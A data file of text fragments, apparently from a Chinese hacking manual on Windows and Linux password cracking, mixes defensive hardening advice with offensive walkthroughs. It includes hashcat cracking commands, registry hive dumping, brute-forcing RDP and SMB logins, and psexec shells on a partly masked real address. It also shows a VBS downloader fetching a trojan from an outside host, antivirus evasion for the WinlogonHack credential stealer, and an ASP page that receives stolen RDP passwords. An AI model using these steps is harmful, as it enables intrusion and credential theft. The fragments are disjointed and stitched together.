    {"text": "在本例中，“IUSR_XFFZD-R1”、“TWWM_XFZD-SER1”和“TsInternetUser”这3个用户是系统自带的，在口令破解中基本没有用处（除非有人对该账号进行了克隆）。"},
    {"text": "单击“Crack”按钮开始破解，很快就得出密码“www119”，其“LM Pwd1”值与“NT pwd”相同，破解密码的时间仅为37秒，如图1-39所示。"},
    {"text": "图1-40 查看所破解密码的有关统计信息 ⑥ 破解参数设置。 单击“Preferences”选项卡，打开破解参数设置窗口，如图1-41所示，可以设置破解的线程、破解方式及是否隐藏用户名等。 图1-41 设置破解参数 1.7.3 彩虹表破解密码防范策略 通过彩虹表破解密码使入侵者可以很方便地获取系统的口令，从而“正常”登录系统，让管理员或者计算机的主人不太容易发现。"},
    {"text": "1.通过设置超过一定位数的密码加固口令安全 使用彩虹表破解14位以下的密码相对容易，对于普通入侵者来说仅有3个免费表，破解的强度相对低一些，因此可以通过增加密码设置的位数加固系统口令。 笔者建议设置超过32位的密码加固系统口令。"},
    {"text": "03 选择“编辑”→“添加数值”选项。 04 设置数值名称为“LMCompatibilityLevel”，数值类型为“DWORD”，单击“确定”按钮。 05 双击新建的数据，并根据具体情况设置以下值。"},
    {"text": "0：发送LM和NTLM响应。 1：发送LM和NTLM响应。 2：仅发送NTLM响应。 3：仅发送NTLMv2响应（Windows 2000有效）。 4：仅发送NTLMv2响应，拒绝LM（Windows 2000有效）。 5：仅发送NTLMv2响应，拒绝LM和NTLM（Windows 2000有效）。"},
    {"text": "oclHashcat号称世界上最快的密码破解工具，是世界上第一个和唯一基于GPGPU规则的引擎，提供免费的多GPU（高达128个GPU）、多哈希、多操作系统（Linux和Windows本地二进制文件）、多平台（OpenCL和CUDA支持）、多算法机制，资源利用率低，基于字典攻击，支持分布式破解等。 oclHashcat for AMD的下载地址：http://hashcat.net/files/oclHashcat-1.31.7z oclHashcat for NVIDIA的下载地址：http://hashcat.net/files/cudaHashcat-1.31.7z oclHashcat系列软件在硬件上支持使用CPU、NVIDIA GPU、ATI GPU进行密码破解，在操作系统上支持Windows、Linux平台，并且需要安装官方指定版本的显卡驱动程序，如果驱动程序版本不对，可能导致程序无法运行。"},
    {"text": "可以通过Catalyst自动侦测和下载检测工具来检测系统应该下载哪个版本，下载地址为http://support.amd.com/en-us/download/auto-detect-tool。 还可以通过360软件管理直接搜索“Catalyst”，选择合适的版本安装即可。"},
    {"text": "依次单击“开始”→“运行”选项，输入“cmd”并按“Shift+Ctrl+Enter”组合键，输入“net user antian365 password /add”，或者以管理员权限启动cmd.exe程序，执行成功后如图1-42所示。"},
    {"text": "目前，官方网站目前已经停止SAMInside软件的更新了，可以到华军软件园下载，地址为http://gwbnsh.onlinedown.net/down2/saminside.v2.6.1.0. chs.rar。"},
    {"text": "1.8.2 获取并整理密码Hash值 01 获取操作系统Hash值 有多个软件可以获取Windows 7操作系统的Hash值，如WCE、mimikatz、Cain、SAMInside等，在Windows Vista及以上版本中都有UAC权限控制机制。"},
    {"text": "UAC（User Account Control，用户账户控制）是微软为提高系统的安全性在Windows Vista中引入的新技术，它要求用户在执行可能影响计算机运行的操作，或者执行更改影响其他用户的设置的操作之前，提供权限或管理员密码。 通过在这些操作启动前对其进行验证，UAC可以帮助防止恶意软件和间谍软件在未经许可的情况下在计算机上进行安装或对计算机进行更改。"},
    {"text": "选择saminside.exe程序，单击右键，在弹出的快捷菜单中选择“以管理员身份运行”选项，然后在SAMInside程序主界面中单击左起第3个图标，在弹出的菜单中选择“Import local user using Scheduler”选项，如图1-43所示，即可获取本机所有账号的密码Hash值等信息。 图1-43 获取密码Hash值 02 整理Hash值 在SAMInside中，既可以导出所有账号的Hash值，也可以复制单个账号的Hash值。"},
    {"text": "单击“File”菜单中的导出用户到Pwdump文件选项，即可导出获取的Hash值。 也可以选择Hash值，单击右键，在弹出的快捷菜单中依次选择“Copy”→“NT Hash”选项，获取NT Hash值。"},
    {"text": "对于Windows Vista及以上版本的操作系统，即使是普通的密码，也是以“AAD3B”开头的一串字符，这个值目前在Ophcrack等工具中无法破解，在SAMInside中会显示为一串“0”字符。"},
    {"text": "图1-44 整理需要破解的Hash值 1.8.3 破解Hash值 将准备好的字典ptemp.txt、需要破解的Hash值文件win2.hash复制到oclHashcat32程序所在的文件夹下，执行以下命令进行破解。 oclHashcat32 -m 1000 -a 0 -o winpass1.txt --remove win2.hash ptemp.txt “-m 1000”表示破解密码类型为NTLM。"},
    {"text": "Discuz!论坛密码算法md5(md5($pass).$salt)，破解命令为“oclHashcat32 -m 2611 -a 0 -o winpass1.txt --remove dz. hash ptemp.txt”；"},
    {"text": "Linux SHA-512加密方式，破解命令为“oclHashcat32 -m 1800 sha512linux.txt p.txt”； Linux下的MD5加密方式，破解命令为“oclHashcat32 -m 500 linuxmd5.txt p.txt”。"},
    {"text": "未知 1.9 使用L0phtCrack破解Windows和Linux的密码 L0phtCrack是一款强大的密码审计工具，目前最新版本为6.0.20，官方下载地址为http://www.l0phtcrack.com/lc6setup_v6.0.20.exe。"},
    {"text": "LC5是网络管理员的必备的工具，可以用来检测Windows、UNIX/Linux用户是否使用了不安全的密码，同时，它也是最好、最快的Windows NT/2000/XP、UNIX/Linux管理员账号密码破解工具之一。"},
    {"text": "03 选择破解方法 在“选择破解方法”窗口有“快速口令破解”、“普通口令破解”、“复杂口令破解”和“自定义”4个选项，如图1-48所示，可以根据实际情况，按照先简单、后复杂的模式进行选择。"},
    {"text": "图1-48 选择破解方法 图1-49 选择报告风格 05 开始破解 向导设置完毕，LC5会将本地账号全部导入。 依次单击“会话”→“开始破解”选项，或者单击菜单下面的三角形图标，开始对系统账号进行破解。"},
    {"text": "将得到的Hash值保存为TXT文件，依次单击“会话”→“导入”选项，打开如图1-51所示的窗口，在“从文件导入”区域选中“从PWDUMP文件”单选项，即可选择Hash文件进行导入。 图1-51 选择导入Hash值 在“从文件导入”区域有4个选项，分别是“从SAM文件”、“从LC4文件”（LC5早期版本）、“从PWDUMP文件”和“从Unix shadow文件”（破解Linux密码），下面分别介绍。"},
    {"text": "从SAM文件：Windows NT/2000的SAM文件位于C:\\WinNT\\system32\\config\\ 目录下； Windows XP/2003/Vista的SAM文件位于C:\\Windows\\system32\\config\\ 目录下。 进入光盘或者通过其他工具访问DOS环境，即可将SAM文件复制出来。"},
    {"text": "L0phtCrack默认将未完成的任务保存成以“.lcs”结尾的文件，这样下次使用时就可以直接打开已经保存的任务继续破解，省去了每次都要重复破解的麻烦。"},
    {"text": "LC5是兼容LC4的，如果有未完成的LC4任务，或者在某些特定情况下只能使用LC5读取用户信息时，先将任务保存成LC4文件，再用LC5读取，也不失为一种好办法。"},
    {"text": "但是由于很多原因，如其他应用程序需要将用户名转换为uid，/etc/passwd文件就必须可以被所有人访问。 所以，系统引入了一种新的机制，将所有用户的密码信息存放在 /etc/shadow文件中，而这个文件是要有root权限才可以读取的，这样就保证了系统的安全性。"},
    {"text": "2.设置会话选项 图1-52 设置密码破解选项 在会话选项中包括LC5密码破解的所有选项，主要是字典破解、混合字典攻击、暴力破解和散列攻击的设置，如图1-52所示。"},
    {"text": "如图1-52所示，在“预定”区域选中“使用”复选框，这样“散列文件列表”按钮就会变为可用状态。 单击该按钮，打开“预定散列表”对话框，如图1-53所示。"},
    {"text": "如果了解要破解的密码的一些情况，如11位的密码，那么是手机号的可能性就很大。 如果知道要破解的密码的设置人的一些情况，如生日、姓名、喜欢的宠物等，则最好在下拉列表中选择“自定义”选项。 在使用暴力破解时，一般选择先易后难模式，即先尝试破解字母密码，再尝试破解字母、数字、普通符号的组合密码，最后尝试破解字母、数字、所有符号的组合密码。"},
    {"text": "使用LC5获取 *nux系统密码，是通过SSH的方式登录服务器获取的，所以，在使用LC5远程获取 /etc/shadow文件时，一定要确保拥有管理员权限，并确认远程服务器开启了SSH服务。"},
    {"text": "01 从远程计算机导入 打开“导入”对话框，选中“远程电脑”单选项，单击“确定”按钮，将弹出“从远程电脑导入”对话框，如图1-55所示，选中“UNIX系统”单选项。"},
    {"text": "图1-55 从远程计算机导入 图1-56 输入证书 03 设置破解方案 选择字典破解、混合字典攻击和暴力破解3种模式，如图1-57所示。 图1-57 设置密码破解方式 04 开始破解 如图1-58所示，将远程计算机中的用户全部导入，开始破解。"},
    {"text": "未知 1.10 通过hive文件获取系统密码Hash 登录目标的3389端口，获取密码Hash，然后通过彩虹表得到密码明文，或者使用WinlogonHack来记录3389端口的登录密码，这些方法很多人已经非常熟悉了。在笔者最近的几次渗透中，发现PWDump、fgdump这类工具已经不在免杀之列了，而且这类工具都是要注入lsass.exe进程的，遇到Macfee这类的杀毒软件，默认是无法绕过的。笔者测试了Winlogon网站放出的内容，对Windows 2008是没有效果的。最近笔者浏览博客，看到国外的技术人员提出了一种获取系统密码Hash的技巧，经过实践发现可行，下面分享给大家。 1.10.1 获取SAM、System及Security的hive文件 首先使用administrator账户登录，然后使用reg命令保存注册表中HKLM下的security、sam、system权限。在这里必须使用reg命令的save选项，不能使用export选项。直接执行以下命令，效果如图1-59所示。 C:\\>reg save hklm\\sam C:\\sam.hive C:\\>reg save hklm\\system C:\\system.hive C:\\>reg save hklm\\security C:\\security.hive 图1-59 获取hive文件 对于非Windows 2000操作系统，可以通过以下命令备份。 C:\\>regback.exe C:\\backtemp\\SAM machine sam C:\\>regback.exe C:\\backtemp\\SYSTEM machine system 1.10.2 导入Cain工具 将sam.hive、system.hive和security.hive文件下载并存储到本地，打开Cain，在“Decoders”标签页单击“LSA Secrets”选项，然后单击“+”按钮导入system.hive和security.hive文件，如图1-60所示。 图1-60 导入hive文件 1.10.3 获取明文密码 导入成功后，就可以看到管理员的明文密码了，如图1-61所示。当然，这里的密码也可能是历史密码。 图1-61 获取明文密码 1.10.4 破解Hash密码 用获取的明文密码尝试登录。如果登录失败，则需要破解LM-Hash和NTLM-Hash的值。 单击“Cracker”标签页的“LM&NTLM Hashes”选项，然后单击“+”按钮，导入sam.hive文件。由于Windows 2000及以后的操作系统默认使用syskey，所以还要导入system.hive中syskey的值，然后就可以进行彩虹表破解了，如图1-62和图1-63所示。 图1-62 破解sam.hive文件 图1-63 破解系统密码 1.10.5 小结 这个方法并非对Windows的所有发行版本都有效，如对Windows 2000 SP4、Windows XP SP2就无效，而对Windows 2003/2008都有效，具体如下。 Windows 2000 SP4 (admin)：拒绝访问（Access Denied）。 Windows XP SP2 (admin)：拒绝访问（Access Denied）。 Windows XP SP3 (admin)：拒绝访问（Access Denied）。 Windows 2003 R2 SP2 (admin)：运行（Works）。 Windows Vista SP2 (UAC/admin)：运行（Works）。 Windows 2008 SP1 (admin)：运行（Works）。 Windows 7 (UAC/admin)：运行（Works）。 未知 1.11 使用Fast RDP Brute破解3389口令 下面介绍使用Fast RDP Brute破解3389口令的方法。 1.11.1 Fast RDP Brute简介 Fast RDP Brute是俄罗斯的一款暴力破解工具，主要用于扫描远程桌面、连接弱口令。Fast RDP Brute官方下载地址为http://stascorp.com/load/1-1-0-58，运行后界面如图1-64所示。 图1-64 Fast RDP Brute主界面 1.11.2 设置主要参数 Fast RDP Brute的主要参数介绍如下。 Max threads：设置扫描线程数，默认值为1000，一般不用修改。 Scan timeout：设置超时时间，默认值为2000，一般不用修改。 Thread timeout：设置线程超时时间，默认值为60000，一般不用修改。 Scan ports：设置要扫描的端口，根据实际情况设置，默认值为3389、3390和3391。在实际扫描过程中，如果是对某个已知IP地址和端口进行扫描，建议删除多余端口。例如，对方端口为3388，则只保留3388即可。 IP ranges to scan：设置扫描的IP地址范围。 用户名和密码：可以在文件夹下的user.txt和pass.txt文件内自行设置。如图1-65所示，在默认的user.txt文件中包含俄文的管理员，一般不使用，可以根据实际情况进行设置。 图1-65 设置暴力破解的用户名和密码字典 1.11.3 局域网扫描测试 本次测试采用VMware环境，搭建两个平台，扫描主机IP地址为192.168.148.128，被扫描主机IP地址为192.168.148.132，操作系统为Windows 2003，开放3389端口。在该服务器上新建test、antian365用户，并将设置的密码复制到扫描字典中，单击“Start scan”按钮进行扫描，扫描结果如图1-66所示。 图1-66 扫描结果 注意 （1）在192.168.148.132服务器上必须开启3389端口。 （2）在扫描服务器上执行mstsc命令，输入IP地址192.168.148.132进行3389登录测试，看看能否访问网络。如果无法访问网络，则扫描无效。 1.11.4 小结 Fast RDP Brute的特点如下。 该软件虽然提供多个用户同时扫描的机制，但只要扫描出1个结果，就停止扫描。对于多用户扫描，可以在扫描出结果后，将已经扫描出来的用户删除，再进行扫描，或者针对单用户进行扫描。 扫描时间过长或者连接次数较多时，会显示“too many errors”错误。 该软件可以对单个用户进行已知密码扫描。在已经获取内网权限的情况下，可以对整个网络中开放3389端口的主机进行扫描，以获取权限。 DUBrute V4.2 RC也可以进行3389密码暴力破解测试，测试环境同上，实际测试效果为无法破解。"},
    {"text": "未知 1.12 Windows口令扫描攻击 Windows口令扫描攻击主要针对某个IP地址或者网段进口令扫描，其实质是通过139、445等端口尝试建立连接，利用的是DOS命令“net use \\\\ipaddress\\admin$ \"password\" /u:user”，只不过是通过程序实现而已。"},
    {"text": "在NTscan中，一般只需要设置开始IP地址和结束IP地址，其他均采用默认设置，如图1-67所示。 图1-67 设置NTscan 说明 （1）如果是在肉机上进行口令扫描，由于语言版本不同，若操作系统不支持中文，就有可能显示乱码，这时只能凭借对系统的熟悉程度进行设置。"},
    {"text": "图1-68 NTscan显示乱码 （2）在NTscan中有IPC、SMB和WMI共3种扫描方式。 IPC和WMI方式扫描口令较为有效，SMB方式主要用来扫描共享文件。"},
    {"text": "SMB（服务器信息块）协议是一种IBM协议，用于在计算机之间共享文件、打印机、串口等。 SMB协议可以用在因特网TCP/IP协议之上，也可以用在其他网络协议（如IPX和NetBEUI）之上。"},
    {"text": "（3）WMI（Windows管理规范）是Windows管理技术中的一项核心技术。 作为一种规范和基础结构，通过WMI可以访问、配置、管理和监视几乎所有的Windows资源。"},
    {"text": "例如，在远程计算机上启动一个进程，设定一个在特定日期和时间运行的进程，远程启动计算机，获得本地或远程计算机的已安装程序列表，查询本地或远程计算机的Windows事件日志等。"},
    {"text": "一般情况下，可以在本地计算机上执行的WMI操作，也可以在远程计算机上执行，只要用户拥有该计算机的管理员权限即可。 如果用户对远程计算机拥有权限，并且远程计算机支持远程访问，那么用户就可以连接该远程计算机并执行拥有相应权限的操作。"},
    {"text": "1.12.2 执行扫描 在NTscan运行界面上单击“开始”按钮（如果显示为乱码，如图1-67所示，单击位于左侧设置区下方的第1个按钮），开始扫描，如图1-69所示。 图1-69 扫描口令 说明 （1）NTscan扫描口令与字典有关，其原理就是将字典中的口令与实际口令进行对比，如果相同就可以建立连接，即破解成功。 破解成功后会在NTscan窗口下方显示提示信息。"},
    {"text": "图1-70 NTscan扫描记录 （4）在NTscan中还有一些辅助功能，如单击鼠标右键后可以执行“cmd”命令，单击鼠标左键后可以执行“连接”、“打开远程登录”、“映射网络驱动器”等命令，如图1-71所示。 图1-71 NTscan辅助功能 1.12.3 实施控制 在DOS命令提示符下输入命令“net use \\\\221.*.*.*\\admin$ \"mrs6100\"/u:administrator”，获取主机的管理员权限。"},
    {"text": "图1-72 获取管理员权限 1.12.4 执行psexec命令 执行“psexec \\\\221.*.*.* cmd”命令，获取一个DOSShell，如图1-73所示。 图1-73 获取DOS下的Shell 说明 （1）以上两步可以合并，直接在DOS命令提示符下输入命令“psexec \\\\ipaddress -u administrator -ppassword cmd”即可。 例如，在上例中可以输入“psexec \\\\221.*.*.* -u Administrator -pmrs6100 cmd”命令来获取一个DOSShell。"},
    {"text": "图1-74 查看端口开放情况 1.12.6 上传文件 在该DOSShell下执行文件下载命令，将一些工具软件或者木马上传到被入侵计算机中，如图1-75所示。"},
    {"text": "echo with wscript:if .arguments.count^<2 then .quit:end if >dl.vbe echo set aso=.createobject(\"adodb.stream\"):set web=createobject (\"microsoft.xmlhttp\") >>dl.vbe echo web.open \"get\",.arguments(0),0:web.send:if web.status^>200 then quit >>dl.vbe echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile.arguments(1), 2:end with >>dl.vbe cscript dl.vbe http://www.mymuma.com/software/systeminfo.exe systeminfo.exe （2）如果不能通过执行VBS脚本上传文件，则可以通过执行FTP命令上传文件。"},
    {"text": "echo open 192.168.1.1 >b echo ftp>>b echo ftp>>b echo bin>>b echo get systeminfo.exe >>b echo bye >>b ftp -s:b （3）上传文件时，建议先使用“dir filename”命令查看文件是否存在。 上传文件后，再通过“dir filename”命令查看文件是否上传成功。"},
    {"text": "1.远程终端技术App 大型企业一般都部署了远程终端，微软的服务器操作系统Windows 2008 Server更是重点打造了远程终端。 远程终端技术App是Windows Server 2008中新的远程应用演示方法，在一些远程连接参数上进行了调整，增加了新的功能，据说其性能也有较大提高。"},
    {"text": "这种管理在方向上不太固定，多数是发散式的，有的通过一台主机登录多台主机，有的通过多台主机登录一台主机，还有的可能出现交叉登录的情况。"},
    {"text": "黑客在入侵网络中的主机后，肯定会想办法收集网络内部或者与外部独立主机之间进行远程终端登录的用户名和密码，收集方法不外乎以下3种。 使用GetHashes、Pwdump等工具获取系统的Hash密码值，然后通过LC5及彩虹表进行破解，破解成功后得到系统密码，这些密码极有可能是远程终端的密码。 在被控制计算机上安装键盘记录，通过键盘记录获取用户在登录3389远程终端过程中所输入的用户名和密码。"},
    {"text": "1.gina.dll与msgina.dll gina.dll在Windows NT/2000中的交互式登录支持由winlogon.exe调用gina.dll实现。 gina.dll的交互式界面为用户登录提供认证请求。 winlogon.exe与gina.dll进行交互，默认是msgina.dll（在system32目录下）。 微软提供了接口，让开发人员自己编写gina.dll来代替msgina.dll。 不知道出于什么原因，gina.dll在Windows XP及后续版本中不再出现，原来的gina.dll改为msgina.dll（“ms”表示微软）。 msgina.dll在Windows XP系统中默认为967 680字节（945KB），在Windows 2003中为1 180 672字节（1 153KB）。"},
    {"text": "2.msgina.dll文件被破坏或修改将导致严重错误 在DLL知识库（http://www.dofile.com/dlllibrary/msgina/）中是这样描述的：msgina.dll是Windows登录认证策略相关模块，该模块用于完成所有用户的登录和验证功能，如果系统中的这个文件被修改或者破坏，将导致系统无法使用3389端口进行登录。 如图1-77所示，这个系统的msgina.dll文件就被破坏了，从而导致用户无法远程登录3389终端服务器。 图1-77 msgina.dll 被破坏或修改导致无法登录远程终端 3.WinlogonHack截取密码的原理 WinlogonHack通过挂钩系统中msgina.dll的WlxLoggedOutSAS函数记录登录的账户密码。"},
    {"text": "默认情况下，gina.dll或者msgina.dll用于显示登录对话框，用户可以输入用户名和密码。 所以，要想获得用户名和密码，可以写一个新的gina.dll或者msgina.dll，其中提供接口调用msgina.dll的函数是WlxLoggedOutSAS。"},
    {"text": "1.执行install.bat安装脚本 一种方法是将WinlogonHack的安装程序文件hookmsgina.dll、install.bat、on.reg、readlog.bat复制到同一个文件夹下，在DOS提示符或GUI界面直接运行install.bat。"},
    {"text": "图1-78 远程安装WinlogonHack获取3389登录密码 2.查看密码记录 可以直接打开boot.dat文件查看，也可以运行readlog.bat脚本，然后将密码文件移动到当前目录中查看。"},
    {"text": "1.13.4 WinlogonHack攻击与防范方法探讨 下面我们讨论WinlogonHack的攻击和防范方法。 1.攻击方法探讨 （1）定制化开发 WinlogonHack的代码是开源的，因此，入侵者可以定制它，即在“lstrcat(LogPath, \"\\\\boot.dat\");”语句中将“boot.dat”换成任意一个文件。"},
    {"text": "入侵者还可以在此基础上增加一个邮件发送功能，将记录下来的3389远程终端用户名和密码发送到指定的邮箱，笔者在安全加固过程中就曾经碰到具有这种功能的3389密码截取木马。"},
    {"text": "（2）对WinlogonHack软件进行免杀处理 图1-80 杀毒软件会自动查杀wminotify.dll文件 由于WinlogonHack在网络入侵中扮演了一个重要的辅助角色，所以一些杀毒软件会自动查杀wminotify.dll文件。"},
    {"text": "（3）WinlogonHack在攻击中的应用 WinlogonHack主要用于截取3389登录密码，因此，在被入侵计算机上运行MSTSC后，如果发现MSTSC的“计算机”列表中出现多个登录IP地址，如图1-81所示，那么该计算机就有安装WinlogonHack的必要，从而记录在服务器上管理员所登录的3389用户名和密码。 图1-81 获取3389登录地址列表 2.防范方法探讨 在系统目录中查找“wminotify.dll”文件，如果这个文件存在，则说明系统中一定安装了WinlogonHack。"},
    {"text": "如果不能卸载，可以重启后再次卸载。 到注册表的HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\ CurrentVersion\\Winlogon\\Notify\\wminotify键值下查看，如果存在，则将其删除。 定制的WinlogonHack比较难根除，一个较好的办法是在安全状态下进行一次系统文件名称列表备份。"},
    {"text": "定期杀毒。 杀毒软件在一定程度上能够防范一些已知病毒，因此，要勤杀毒、勤看日志，在确认系统被入侵后一定要仔细、彻底地进行安全检测。"},
    {"text": "1.13.5 使用WinlogonHack自动获取密码并发送到指定网站 使用WinlogonHack自动获取密码并发送到指定网站的步骤如下。 01 配置Winlogon劫持记录3389密码生成器 互联网上有很多Winlogon劫持记录3389密码生成器，如图1-82所示。"},
    {"text": "图1-82 配置接收文件地址 02 上传密码接收文件 将以下代码保存为3389.asp，并将其放在一个可以访问的网站目录下，同时必须让3389.asp具有写文件权限。"},
    {"text": "<% Dim ValidEntry ValidEntry = True If not IsEmpty(Session(\"LogIn\")) then ValidEntry = False If ValidEntry Then Const ForAppending = 8 Const Create = true Dim FSO DIM TS DIM MyFileName 'Dim strLog Dim strTime,strUrl,strOporation,strUserAgent MyFileName = Server.MapPath(\"myIP.txt\") Set FSO = Server.CreateObject(\"Scripting.FileSystemObject\") Set TS = FSO.OpenTextFile(MyFileName, ForAppending, Create) strUrl=Request.ServerVariables(\"REMOTE_ADDR\") &amp; \" \" Ts.writeline \"----分割线----\" Ts.writeline \"服务器IP：\"&amp;strUrl Session(\"LogIn\") = \"yes\" Set TS = Nothing Set FSO = Nothing End If num=request(\"user\") pass=request(\"pass\") hxip=request(\"ip\") set fs=server.CreateObject(\"Scripting.FileSystemObject\") set file=fs.OpenTextFile(server.MapPath(\"IP.txt\"),8,True) if hxip <>\"\" then file.writeline num+\"----\"+pass+\"----ip:\"+hxip else file.writeline num+\"----\"+pass end if file.close set file=nothing set fs=nothing %> 03 查看本地密码记录文件 在测试服务器上执行EXE文件。"},
    {"text": "需要特别注意的是，由于网上的软件有可能捆绑了木马程序，所以所有生成的EXE文件最好在虚拟机上运行，这样做不会破坏实体机。 执行EXE文件后，需要打开mstsc.exe（即远程终端），登录127.0.0.1。"},
    {"text": "登录成功后，在c:\\windows\\system32\\ 目录下运行“dir /od”命令，即可看到Winlogon劫持记录3389密码工具软件释放的4个程序，分别是install.bat、wminotify.dll、On.reg和wpa.dbl。"},
    {"text": "图1-83 获取密码记录 04 查看网站记录文件 访问网页记录文件所在的服务器，直接打开ip.txt文件，或者访问类似于“http:// www.antian365.com/ip.txt”的地址。"},
    {"text": "未知 1.14 检查计算机账号克隆情况 随着个人计算机安全意识的提高，网络木马程序的生命周期越来越短，如果要使木马软件实现免杀，必须掌握软件加壳、修改特征码等技术。对于网络上的计算机，特别是网络服务器，被成功控制以后，对账号进行克隆基本上已经成为入侵者的习惯。在系统管理员更改系统账号以后，使用克隆用户账号登录并重新控制系统是一个非常不错的选择。下面，笔者将与大家分享一些维护网络服务器的经验，共保服务器安全。 计算机的常规检查主要通过依次单击“我的电脑”→“管理”→“计算机管理”→“本地用户与组”选项实施，检查管理员组中是否存在多余账号及是否存在多个用户账号。 1.14.1 检查用户 操作系统中默认存在administrator用户及其他用户，如本例中的“simeon”，以及启动IIS进程账户、Internet来宾账号等，如图1-85所示。这些账号往往与系统中提供的服务或者安装的软件有关。如果在检查过程中发现了多余的账号，则极有可能是入侵者添加的。 图1-85 检查用户账号 1.14.2 检查组 任何用户账号都必须属于一个组。在安全检查中，需要特别注意Administrators组，这个组是具有管理员权限的组。在“计算机管理”窗口双击“组”中的“Administrators”，即可查看其中是否存在多余的管理员账号，如图1-86所示。 图1-86 管理员组账号检查 说明 （1）对账号的检查也可以在DOS提示符下实现。依次单击“开始”→“运行”，输入“cmd”或者“command”命令，进入DOS提示符窗口，然后输入“net user”查看系统中的所有用户，输入“net localgroup administrators”查看管理员组，如图1-87所示。可以通过“net user username /delete”命令删除用户。 图1-87 在DOS窗口查看用户和管理员信息 （2）如果入侵者在添加账号时在账号末尾加上了“$”符号，那么在使用“net user”命令查看用户时，以“$”结束的用户名不会显示。这种账号只能通过图形界面查看。 在系统中添加的非克隆账号，可以通过常规检查找出。但是，如果入侵者在系统中对账号进行了克隆（通常是克隆系统中已经存在账号），如克隆aspnet、TsInternetuser、Guest等账号，那么通过“net user”、“net localgroup administrators”命令及图形界面都无法查出。如果计算机开放了远程终端或安装了pcAnywhere等工具，入侵者就可以通过这些账号正常访问系统了。非常规检查主要通过工具软件Mt或本地管理员检测工具进行。Mt只能运行在DOS环境中，而本地管理员检测工具是图形界面，功能相对少一些。由于Mt功能强大，目前很多杀毒软件都把它列为黑客工具进行查杀。 1.14.3 使用Mt进行检查 Mt提供了很多功能，使用时要求权限为system，在Windows XP中可能会提示权限不够而无法使用。在DOS窗口或者其他管理软件的Telnet窗口输入命令“mt”，即可查看详细的命令说明。本节只使用“mt -chkuser”命令。如图1-88所示，检查系统克隆账号，输入命令后会在屏幕上输出结果。主要查看ExpectedSID和CheckedSID，如果这两个值不一样，就说明账号被克隆了。可以看到，simeon$ 账号的CheckedSID和Administrator账号的CheckedSID值一样，说明simeon$账号克隆了Administrator账号。 图1-88 检查克隆账号 1.14.4 使用本地管理员检测工具进行检查 直接运行本地管理员检测工具，程序会自动显示系统中存在的账号，并给出相应的提示，提示信息通常为“影子管理员？”，如图1-89所示。 图1-89 使用本地管理员检测工具检查克隆账号 如果计算机提供3389远程终端服务或者安装了pcAnywhere等远程控制工具，就需要定期检查系统用户账号。一旦发现克隆账号，就说明系统的安全风险非常大，单独删除克隆账号意义不大。建议使用系统备份进行恢复，并更改系统中所有账号的密码。"},
    {"text": "设定系统口令时，大部分用户都会使用自己熟悉的单词，或者其他习惯使用的数字，如电话号码、生日等，这样做在便于记忆的同时，也悄悄为入侵者打开了方便之门。"},
    {"text": "1.口令设置上的漏洞 中国杀毒网记载了一个有趣的心理试验：随机抽出100名在校大学生，要求他们分别写下两个单词，并告诉他们这两个单词是用于计算机的口令，非常重要，且将来的使用率也很高，要求他们尽量慎重考虑，结果却出人意料。"},
    {"text": "2.社会工程学对口令的攻击 黑客在入侵过程中会利用Google、百度等搜索引擎充分收集被攻击对象的各种资料，在攻击中这些资料将起到辅助作用。"},
    {"text": "利用传统手法，如SQL注入、漏洞溢出等，得到一个分站的服务器权限，然后根据在分站上收集的电子邮箱信息、FTP信息、网络拓扑信息、管理员常用的管理工具等渗透主站。"},
    {"text": "很多人拿到IE 0day就直接挂马，其实IE 0day还有更高的价值，那就是发送邮件，如果管理员被欺骗并点击了入侵者发送邮件里的URL，后果就很难预料了。"},
    {"text": "通过各种手段取得内网管理员或用户的信任，获得他的信息，如QQ、电子邮箱等，抓住他的弱点，降低他的心理防线，在成熟的时候发送URL或在打包的软件里捆绑木马等，内网将又一次面临攻击。"},
    {"text": "1.15.2 系统密码安全设置策略 系统密码安全设置策略如下。 1.通过组策略加固密码 在“开始”→“运行”窗口中输入“gpedit.msc”并按“回车”键，就可以打开“组策略”窗口，如图1-90所示。 图1-90 打开“组策略”窗口 在“组策略”窗口的左侧展开“计算机配置”→“Windows设置”→“安全设置”→“账户策略”→“密码策略”选项，在右边窗格中就会出现一系列的密码设置项。"},
    {"text": "图1-91 修改密码的默认策略 （1）密码必须符合复杂性要求 如果启用了这个策略，那么在设置和更改一个密码时，系统将会按照下面的规则检查密码是否有效。"},
    {"text": "可以将密码设置为在某些天数（1到999）后到期，或者将天数设置为0（密码永不过期）。 如果密码最长使用期限介于1到999天，密码最短使用期限必须小于密码最长使用期限。 如果将密码最长使用期限设置为0，则可以将密码最短使用期限设置为0到998天之间的任何值。 注意 最佳操作是将密码设置为30到90天后过期，具体取决于用户的环境。"},
    {"text": "配置这个策略可以让系统记住用户曾经使用的密码，如果更换的新密码与系统“记忆”中的重复，系统就会给出提示。 默认情况下，这个策略不保存用户的密码，用户可以根据自己的习惯进行设置，建议保存5个以上（最多可以保存24个）的密码。 （5）密码最短使用期限 此安全设置确定在用户更改某个密码之前必须使用该密码一段时间（以天为单位）。 可以设置一个介于1到998的值，或者将天数设置为0（允许立即更改密码）。 密码最短使用期限必须小于密码最长使用期限，除非将密码最长使用期限设置为0（密码永不过期）。 如果将密码最长使用期限设置为0，则可以将密码最短使用期限设置为0到998之间的任何值。 如果希望“强制密码历史”有效，需要将密码最短使用期限设置为大于0的值。 如果没有设置密码最短使用期限，用户则可以循环选择密码，直到获得期望的旧密码。"},
    {"text": "从上面这些设置项中我们不难得到一个最为简单有效的密码安全方案，即启用“密码必须符合复杂性要求”策略，然后设置“密码最短存留期”，最后开启“强制密码历史”。"},
    {"text": "设置完成后，在“控制面板”中重新设置管理员的密码，这时的密码不仅本身是安全的（不低于6位且包含不同类别的字符），而且以后修改密码时也不易出现与以前重复的情况，这样的系统密码安全性非常高。 2.密码设置技巧 密码的位数不要少于6位，笔者设置的密码为32位。"},
    {"text": "不要用a、b、c等比较小顺序的字母或数字开头，因为字典暴力破解一般都是从数字或英文字母排序开始的，字母或数字顺序越小，破解机率就越高。"},
    {"text": "在“开始”→“运行”窗口中输入“cmd”并按“回车”键，在窗口中输入命令“net user”查看是否被添加了新用户，然后输入命令“net localgroup administrators”查看是否有用户被提升了管理员权限。"},
